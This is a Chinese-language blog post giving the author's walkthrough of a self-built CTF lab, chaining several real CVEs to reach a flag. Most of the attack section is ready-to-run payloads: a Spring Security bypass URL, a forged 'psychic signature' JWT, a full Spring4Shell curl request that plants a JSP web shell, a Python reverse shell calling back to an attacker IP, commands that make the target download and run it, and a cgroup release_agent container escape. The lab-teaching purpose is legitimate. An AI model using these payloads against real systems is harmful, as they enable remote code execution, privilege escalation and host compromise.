iT邦幫忙

2022 iThome 鐵人賽

DAY 30
0
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 32

Day30 - 灑花完結篇 - 期中考 CTF 解題以及為何我要建立資安頻道

  • 分享至 

  • xImage
  •  

Yes

  • 終於到了第30天的部分了,今天主要是要針對之前設計的期中考 CTF 進行解題,以及順便講講為何我要建立一個資安頻道,那就開始吧。/images/emoticon/emoticon18.gif

  • 首先先從架構圖開始看起,參考如下。很明顯的,出題方向會是要先繞過 Spring Security ,然後看看有沒有機會使用 Spring4Shell 拿到主機的控制權,接下來要針對 Docker 進行容器逃逸,最後拿到 CentOS 7 內的 flag 檔案內容。

https://ithelp.ithome.com.tw/upload/images/20221011/20148308ZT8Uyev78X.jpg

  1. 那一開始就可以針對功能頁面進行測試,就會發現不管存取 http://192.168.56.110:8080/Spring4Shell/login/1234 還是存取 http://192.168.56.110:8080/Spring4Shell/login/5678 都會導向登入頁面,代表後的判斷邏輯應該是用 /login/* 來做判斷的,因此使用 CVE-2022-22978 的手法來進行繞過。透過 http://192.168.56.110:8080/Spring4Shell/login/1234%0d

https://ithelp.ithome.com.tw/upload/images/20221011/20148308LXMVsZnMDZ.jpg

  1. 題目有提示說只有 admin 才能夠進行搜尋使用者的功能,如果點擊了則會強行要求進行登入。但觀察後發現 cookie 被設定了 jwt-token ,複製後丟到 JSON Web Tokens 解碼看看,會發現當前的身分是設定成 guest。

https://ithelp.ithome.com.tw/upload/images/20221011/20148308gDiQnbn6TA.jpg

  1. 將 role 身分調整為 admin ,然後隨便選一個可以產生的密碼學演算法產出 jwt token ,接著只需要取得中間的部分就好。

https://ithelp.ithome.com.tw/upload/images/20221011/20148308TA5Tzf4QFL.jpg

  1. 接著在 jwt token 簽章的部分帶入 CVE-2022-21449 的攻擊手法,最後加上心靈簽章,最後設定調整 cookie 的數值,然後點擊搜尋使用者的功能。
eyJhbGciOiJFUzI1NiJ9.eyJpc3MiOiJhZWlma3oiLCJzdWIiOiJhdXRob3JpemF0aW9uIiwicm9sZSI6ImFkbWluIn0.MAYCAQACAQA

https://ithelp.ithome.com.tw/upload/images/20221011/20148308OEPcAa42kA.jpg

  1. 這邊很明顯之後要開始用 Spring4Shell 取得 RCE 的控制權, Payload 就參考之前 CVE-2022-22965 的相關請求以及參數。但要注意發出請求時 Cookie 要帶上 jwt token 要不然會有問題。
curl -v http://192.168.56.110:8080/Spring4Shell/user?name=aeifkz ;
curl -v --cookie "jwt-token=eyJhbGciOiJFUzI1NiJ9.eyJpc3MiOiJhZWlma3oiLCJzdWIiOiJhdXRob3JpemF0aW9uIiwicm9sZSI6ImFkbWluIn0.MAYCAQACAQA"  http://192.168.56.110:8080/Spring4Shell/user?name=aeifkz ;
curl -H "suffix: %>//" -H "c1: Runtime" -H "c2: <%" --cookie "jwt-token=eyJhbGciOiJFUzI1NiJ9.eyJpc3MiOiJhZWlma3oiLCJzdWIiOiJhdXRob3JpemF0aW9uIiwicm9sZSI6ImFkbWluIn0.MAYCAQACAQA"  'http://192.168.56.110:8080/Spring4Shell/user?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' ;
curl --output -  'http://192.168.56.110:8080/tomcatwar.jsp?pwd=j&cmd=whoami' ;
  1. 做到這邊就已經有 Web Shell 了,但是我覺得 Web Shell 不夠好用,還是打一個 Reverse Shell 使用會比較方便。參考 [Day24] Bind Shell / Reverse Shell 內的 python 部分,可以包裝一個 python 檔案給應用程式抓取後回連回來。

  2. vim reverse_shell.py

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.75.163",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
  1. python3 -m "http.server" 8080 #在攻擊機起一個 http 服務
  2. nc -lvp 8888 # 在攻擊機監聽 8888 port
  3. 透過 Spring4Shell 控制應用程式對外抓取檔案,以及執行該檔案
curl --output -  'http://192.168.56.110:8080/tomcatwar.jsp?pwd=j&cmd=curl%20-o%20%2Fapp%2Freverse_shell.py%20http%3A%2F%2F192.168.75.163%3A8080%2Freverse_shell.py' ;
curl --output -  'http://192.168.56.110:8080/tomcatwar.jsp?pwd=j&cmd=python%20%2Fapp%2Freverse_shell.py%20-C%20%2Fapp%2F' ; 
  1. 監聽服務部分回拿到一個 shell ,這樣可以方便之後的作業部分

https://ithelp.ithome.com.tw/upload/images/20221011/20148308XhRDCDB8lk.jpg

  1. 稍微測試一下環境發現應該是在容器裡面,並且有安裝 pkexec 程式,但並沒有最高權限。這邊要使用之前 CVE-2021-4034 做出的編譯好的作業送到應用程式並進行提權。 (可用 curl 下載檔案、 tar 進行解壓縮)

  2. 提權 root 權限後接下來要做容器逃逸。試著透過 fdisk -l 列出磁碟然後進行掛載,但是會失敗。所以改用 cgroup 手法進行逃逸。

cat /proc/$$/status | grep Cap ; 
mkdir /tmp/cgroup ;
mount -t cgroup -o rdma cgroup /tmp/cgroup ;
  1. 執行後會出現 mount: special device cgroup does not exist 。這邊不是因為 centOS 沒有 cgroup 機制,而是有可能參數設定不對。調整參數並將家目錄的東西複製回來。
cat /proc/$$/cgroup ; #看一下可以設定的裝置
mount -t cgroup -o memory cgroup /tmp/cgroup ;
mkdir /tmp/cgroup/cgroup_2 ;
echo 1 > /tmp/cgroup/cgroup_2/notify_on_release ; # 設定子 cgroup 在退出的時候觸發父 cgroup 的 release_agent 
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` ;
echo "$host_path/cmd" > /tmp/cgroup/release_agent ;
echo '#!/bin/sh' > /cmd ;
echo "cp -rf /home/* $host_path" >> /cmd ;
chmod a+x /cmd ;
sh -c "echo $$ > /tmp/cgroup/cgroup_2/cgroup.procs" ; # 在子 cgroup 建立一個立即結束的 process 進行觸發
  1. 假如無法觸發,就 umount 之後再 mount 一遍,可能就會成功。成功之後再跟目錄搜尋 flag 檔案名稱,然後解壓縮就結束了。
find . -name "flag*" ;
cd ./test/ ;
tar xvf flag.tar ;
  • 最後會看到出現 "Congratulationsls! You Pass iThome 30 Days Challenge!",也恭喜終於完成這 30 天的期中考惹!!!!! /images/emoticon/emoticon12.gif

  • 那剩下就是即興發揮的部分惹~~ 主要會說說幾個重點。 /images/emoticon/emoticon41.gif

  1. 為何會想學資安?
  2. 為何要做一個資安頻道?
  3. 為什麼明年不做惹 QQ

/images/emoticon/emoticon29.gif


上一篇
Day29 - 這是我最後的漏洞了!收下吧!- 攻擊開始!
下一篇
Day31 Spring Security 又(?)有漏洞惹~~ 使用個 forward 功能臭了嗎?!
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言